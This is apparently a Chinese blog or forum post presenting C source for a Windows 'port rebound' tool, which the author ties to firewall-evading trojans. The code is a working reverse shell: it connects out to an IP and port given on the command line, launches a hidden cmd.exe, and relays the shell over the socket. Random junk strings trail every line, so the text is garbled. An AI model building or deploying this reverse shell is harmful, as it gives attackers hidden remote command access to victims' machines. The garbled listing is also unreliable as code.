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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ]iU8n (5f  
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/* ============================== |?cL>]t  
Rebound port in Windows NT "h@=O c  
By wind,2006/7 #r|qi tL3  
===============================*/ R\a6 #u3  
#include FmtgH1u:=  
#include I`~Giz7@  
^ABt g#  
#pragma comment(lib,"wsock32.lib") @=7[KMb  
ndmsXls  
void OutputShell(); o5@d1A  
SOCKET sClient; Z bW!c1s{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; bcR";cE  
]/9@^D}&  
void main(int argc,char **argv) x/pX?k  
{ B_uhNLd  
WSADATA stWsaData; /~(T[\E<  
int nRet; J9%I&lu/  
SOCKADDR_IN stSaiClient,stSaiServer; {xD\w^  
A=Y A#0  
if(argc != 3) ;tJ}*!z W  
{ 8|LU=p`y'  
printf("Useage:\n\rRebound DestIP DestPort\n"); QO/nUl0E  
return; Iq0[Kd0.j  
} cMfJq}C<  
3jqV/w[-  
WSAStartup(MAKEWORD(2,2),&stWsaData); #0"Pd8@  
e**<et.  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *g*~+B :  
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stSaiClient.sin_family = AF_INET; Z<jC,r  
stSaiClient.sin_port = htons(0); %A3ci[$g  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )krBj F.$  
B,q)<z6<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bhl9:`s  
{ qEvbKy}  
printf("Bind Socket Failed!\n"); u?F^gIw  
return; O:]e4r,'  
} w t6&N{@  
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stSaiServer.sin_family = AF_INET; %p(X*mVX  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~eyZH8&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .iV-Y*3<  
]@I>OcH  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) s$JO3-)  
{ {/|tVc63  
printf("Connect Error!"); ;=UkTn}N?l  
return; 8DuD1hZq  
} HEk{!Y  
OutputShell(); ,rNv}  
} Ihd{tmr<  
=o )B1(v@.  
void OutputShell() Gc=uKQ+\V  
{ o?g9Grk  
char szBuff[1024]; TFNB %|  
SECURITY_ATTRIBUTES stSecurityAttributes; Hmx Y{KB  
OSVERSIONINFO stOsversionInfo; kz"QS.${  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h+!@`c>)Y  
STARTUPINFO stStartupInfo; 2M>`W5  
char *szShell; ]Pl Ly:(  
PROCESS_INFORMATION stProcessInformation; UL.YDU)  
unsigned long lBytesRead; YO9ofT  
C"0vMUZ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); K8JshF Ie  
5^97#;Q;J"  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); [#SiwhF|  
stSecurityAttributes.lpSecurityDescriptor = 0; c :2w(BVi  
stSecurityAttributes.bInheritHandle = TRUE; ":_~(?1+  
)zydD=,bu  
+,_%9v?3  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);  K,o&gY  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); KTE X]  
V6bjVd9|Z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )*L=$0R  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O'{g{  
stStartupInfo.wShowWindow = SW_HIDE; J)EL<K$Z[  
stStartupInfo.hStdInput = hReadPipe; YmwXA e:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O|nLIfT  
)!lx'>0>  
GetVersionEx(&stOsversionInfo); ]P96-x  
wu.>'v?y  
switch(stOsversionInfo.dwPlatformId) z+K1[1SM  
{ p Le[<N  
case 1: I_Omv{&u  
szShell = "command.com"; gh-i| i,  
break; Ltk-1zhI  
default: hs*n?vxp3  
szShell = "cmd.exe"; XFv^j SF  
break; ]G~Z'fs<(  
} IAJ+n0U  
\b}%A&Ij  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y q!{\@-  
1pz-jo,2'  
send(sClient,szMsg,77,0); + } y"S-  
while(1) RB9ZaL\  
{ E5IS<.  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 61}eB/;7  
if(lBytesRead) 2v<O}   
{ :W9a t  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Ri>ZupQ6  
send(sClient,szBuff,lBytesRead,0); Dqc2;>  
} 0_N.s5~N  
else /bF>cpM  
{ RgVnx]IF  
lBytesRead=recv(sClient,szBuff,1024,0); D?G'1+RIT~  
if(lBytesRead<=0) break; +`ug?`_  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); aP]h03sS  
} 92ngSaNC  
} BZ,{gy7g7X  
Y[s}?Xu]w#  
return; Wjli(sT#-  
}
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